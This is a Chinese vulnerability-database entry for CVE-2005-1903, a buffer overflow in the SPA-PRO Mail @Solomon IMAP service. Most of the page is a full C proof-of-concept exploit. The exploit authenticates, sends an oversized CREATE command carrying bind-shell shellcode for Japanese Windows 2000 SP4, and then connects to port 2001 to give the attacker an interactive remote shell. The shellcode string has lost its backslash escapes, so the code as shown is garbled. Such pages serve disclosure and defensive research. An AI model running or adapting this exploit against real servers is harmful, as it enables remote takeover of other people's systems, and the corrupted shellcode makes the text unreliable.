SPA-PRO Mail @Solomon IMAP服务缓冲区溢出漏洞

漏洞ID	1108834	漏洞类型	缓冲区溢出
发布时间	2005-06-02	更新时间	2005-06-02
CVE编号	CVE-2005-1903	CNNVD-ID	CNNVD-200506-027
漏洞平台	Windows	CVSS评分	2.1

|漏洞来源

https://www.exploit-db.com/exploits/1026
https://www.securityfocus.com/bid/89166
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200506-027

|漏洞详情

[email protected]的IMAP服务存在缓冲区溢出漏洞，远程认证用户可借助超长CREATE指令执行任意代码。

|漏洞EXP

//**************************************************************************
// e-Post SPA-PRO Mail @Solomon SPA-IMAP4S 4.01 Service Buffer Overflow 
// Vulnerability
//
// Bind Shell POC Exploit for Japanese Win2K SP4
// 31 May 2005
//
// This POC code binds shell on port 2001 of a vulnerable e-Post
// SPA-PRO Mail @Solomon IMAP server.
//
// This POC assumes default mailbox configuration C:mailinbox%USERNAME%
// Any changes to the mailbox configuration will cause this POC to
// fail due to the length differences.
//
//
// Advisory 
// http://www.security.org.sg/vuln/spa-promail4.html
// http://www.security.org.sg/vuln/spa-promail4-jp.html
//
//**************************************************************************

#include <stdio.h>
#include <conio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment (lib,"ws2_32.lib")


unsigned char expBuf[] = 
"2 create ""
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x55x8BxECx33xC9x66xB9xE8x03x2BxE1x32xC0x8BxFCxF3"
"xAAxB1x30x64x8Bx01x8Bx40x0Cx8Bx70x1CxADx8Bx70x08"
"xD9xEExD9x74x24xF4x5Fx83xC7x0CxEBx53x60x8Bx6Cx24"
"x24x8Bx75x3Cx8Bx74x35x78x03xF5x8Bx7Ex20x03xFDx8B"
"x4Ex18x56x33xDBx8Bx37x03xF5x33xC0x99xACx85xC0x74"
"x07xC1xCAx0Dx03xD0xEBxF4x3Bx54x24x2Cx74x09x83xC7"
"x04x43xE2xE1x5ExEBx16x5Ex8Bx7Ex24x03xFDx66x8Bx04"
"x5Fx8Bx7Ex1Cx03xFDx8Bx04x87x01x44x24x24x61xC3x89"
"x75xF4x68x8Ex4Ex0ExECx56xFFxD7x59x33xC0x66xB8x6C"
"x6Cx50x68x33x32x2Ex64x68x77x73x32x5Fx54xFFxD1x8B"
"xF0x68xD9x09xF5xADx56xFFxD7x5Bx83xC4x20x6Ax01x6A"
"x02xFFxD3x89x45xD0x68xA4x1Ax70xC7x56xFFxD7x5Bx33"
"xC0x50xB8xFDxFFxF8x2Ex83xF0xFFx50x8BxC4x6Ax10x50"
"xFFx75xD0xFFxD3x68xA4xADx2ExE9x56xFFxD7x5BxFFx75"
"xD0xFFxD3x8BxCCx6Ax10x8BxDCx68x35x54x8AxA1x56xFF"
"xD7x5Ax50x50x53x51xFFx75xD0xFFxD2x8BxD0x68xE7x79"
"xC6x79x56xFFxD7x58x89x45xF0x8Bx75xF4x83xC4x20xC6"
"x04x24x44xC6x44x24x2Dx01x89x54x24x38x89x54x24x3C"
"x89x54x24x40x8BxC4x8Dx58x44x68x72xFExB3x16x56xFF"
"xD7x5AxB9xFFx63x6Dx64xC1xE9x08x51x8BxCCx53x53x50"
"x33xC0x50x50x50x6Ax01x50x50x51x50xFFxD2x5Bx68xAD"
"xD9x05xCEx56xFFxD7x58x6AxFFxFFx33xFFxD0xFFx74x24"
"x48xFFx55xF0xFFx75xD0xFFx55xF0x68xEFxCExE0x60x56"
"xFFxD7x58xFFxD0x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"xe9x4fxfexffxffx41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41"
"x41x41x41x41x41x41x41x41x41x41x41x41x54x54x54x54"
"x55x55x55x55x56x56x56x56x57x57x57x57xE9x0CxFExFF"
"xFFxCCxEBxa0x5AxD6x19xF8x74x41x41x41x42x42x42x42"
"x43x43x43x43x44x44x44x44x45x45x45x45x46x46x46x46"
"x47x47x47x47x48x48x48x48x36x49x49x49x4Ax4Ax4Ax4A"
"x4Bx4Bx4Bx4Bx4Cx4Cx4Cx4Cx4Dx4Dx4Dx4Dx4Ex4Ex4Ex4E"
"x4Fx4Fx4Fx4Fx50x50x50x50x51x51x51x51x52x52x52x52"
"x53x53x53x53x54x54x54x54x55x55x55x55x56x56x56x56"
"x57x57x57x57x58x58x58x58x59x59x59x59x5Ax5Ax5Ax5A"
""rn";


void shell(int sockfd)
{
	char buffer[1024];
	fd_set rset;
	FD_ZERO(&rset);

	for(;;)
	{
		if(kbhit() != 0)
		{		
			fgets(buffer, sizeof(buffer) - 2, stdin);
			send(sockfd, buffer, strlen(buffer), 0);
		}

		FD_ZERO(&rset);
		FD_SET(sockfd, &rset);

		timeval tv;
		tv.tv_sec = 0;
		tv.tv_usec = 50;
		
		if(select(0, &rset, NULL, NULL, &tv) == SOCKET_ERROR)
		{
			printf("select errorn");
			break;
		}
        
		if(FD_ISSET(sockfd, &rset))
		{
			int n;

			ZeroMemory(buffer, sizeof(buffer));
			if((n = recv(sockfd, buffer, sizeof(buffer), 0)) <= 0)
			{
				printf("EOFn");
				return;
			}
			else
			{
				fwrite(buffer, 1, n, stdout);
			}
		}
	}
}


#define ADDR_POSITION		534
#define RET_ADDR			0x74F819D6		// CALL EBX in Japanese Win2K SP4

// First short jump backwards. (EB AO) 
// You should know what to change here, landing onto INT 3 to let debugger kick in.
#define FIRST_BACKJMP_INST	0x5AA0EBCC


int main(int argc, char* argv[])
{
	WORD wVersionRequested;
	WSADATA wsaData;
	struct sockaddr_in sin;
	int err;
	char inBuffer[10000];
	char loginBuf[1000];

	if(argc != 4)
	{
		printf("nUsage: %s <imap username> <imap password> <ip addr>n", argv[0]);
		return 1;
	}

	if(strlen(argv[1]) <= 0 || strlen(argv[1]) > 20)
	{
		printf("nInvalid IMAP username!  Maximum username length is 20.n");
		return 1;
	}

	if(strlen(argv[2]) <= 0 || strlen(argv[2]) > 14)
	{
		printf("nInvalid IMAP password!  Maximum password length is 14.n");
		return 1;
	}

	memset(loginBuf, 0, sizeof(loginBuf));
	_snprintf(loginBuf, sizeof(loginBuf), "1 login "%s" "%s"rn", argv[1], argv[2]);
	loginBuf[sizeof(loginBuf)-1] = 0;

	int retPos = ADDR_POSITION - (strlen(argv[1]) - 1);
	
	*((DWORD *)&expBuf[retPos]) = RET_ADDR;
	*((DWORD *)&expBuf[retPos-4]) = FIRST_BACKJMP_INST;


	wVersionRequested = MAKEWORD(2,0);
	err = WSAStartup(wVersionRequested, &wsaData);
	if(err != 0)
	{
		printf("nWSAStartup Error.n");
		return 1;
	}

	if(LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 0)
	{
		printf("nWinsock Version Errorn");
		WSACleanup();
		return 1;
	}

	SOCKET s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);

	sin.sin_addr.s_addr = inet_addr(argv[3]);
	sin.sin_family = AF_INET;
	sin.sin_port = htons(143);

	printf("n[+] Trying to connect to %sn", inet_ntoa(sin.sin_addr));

	if(connect(s, (sockaddr *)&sin, sizeof(sin)) != SOCKET_ERROR)
	{
		int size;
			
		// read IMAP banner
		size = recv(s, inBuffer, sizeof(inBuffer), 0);
		if(size == SOCKET_ERROR)
		{
			printf("[-] Error receiving IMAP banner!n");
			return 1;
		}

		printf("[+] IMAP banner received!nn");
		fwrite(inBuffer, 1, size, stdout);
		printf("n");

		if(send(s, (char *)loginBuf, strlen((char *)loginBuf), 0) == SOCKET_ERROR)
		{
			printf("[-] Error sending login!n");
			return 1;
		}

		printf("[+] Login Sent.n");

		size = recv(s, inBuffer, sizeof(inBuffer), 0);
		if(size == SOCKET_ERROR)
		{
			printf("[-] Error receiving login reply!n");
			return 1;
		}
		if(strstr(inBuffer, "OK"))
			printf("[+] Login successful!n");
		else
		{
			printf("[+] Login failed!n");
			return 1;
		}

		if(send(s, (char *)expBuf, strlen((char *)expBuf), 0) == SOCKET_ERROR)
		{
			printf("[-] Error sending exploit!n");
			return 1;
		}
		else
		{
			printf("[+] Exploit sent!n");
		}

		Sleep(2000);

		//================================= Connect to the target ==============================
		SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
		if(sock == INVALID_SOCKET)
		{
			printf("Invalid socket return in socket() call.n");
			WSACleanup();
			return -1;
		}

		sin.sin_family = AF_INET;
		sin.sin_port = htons(2001);
		sin.sin_addr.s_addr = inet_addr(argv[3]);

		if(connect(sock, (sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
		{
			printf("Exploit Failed. SOCKET_ERROR return in connect call.n");
			closesocket(sock);
			WSACleanup();
			return -1;
		}
		
		printf("[+] Exploit successful!nn");
		shell(sock);
		closesocket(sock);	
	}
	else
	{
		printf("[-] Cannot connect!n");
	}

	closesocket(s);
	WSACleanup();

	return 0;
}

// milw0rm.com [2005-06-02]

|参考资料

来源:XF
名称:spa-pro-create-bo(20862)
链接:http://xforce.iss.net/xforce/xfdb/20862
来源:MISC
链接:http://www.security.org.sg/vuln/spa-promail4.html
来源:OSVDB
名称:16990
链接:http://www.osvdb.org/16990
来源:VUPEN
名称:ADV-2005-0680
链接:http://www.frsirt.com/english/advisories/2005/0680
来源:SECUNIA
名称:15573
链接:http://secunia.com/advisories/15573
来源:SECTRACK
名称:1014095
链接:http://securitytracker.com/id?1014095

相关推荐: Compaq Management Agents for Netware Plaintext Password Vulnerability

Compaq Management Agents for Netware Plaintext Password Vulnerability 漏洞ID 1103729 漏洞类型 Design Error 发布时间 2000-11-06 更新时间 2000-11-…

文章版权归作者所有，未经允许请勿转载。

THE END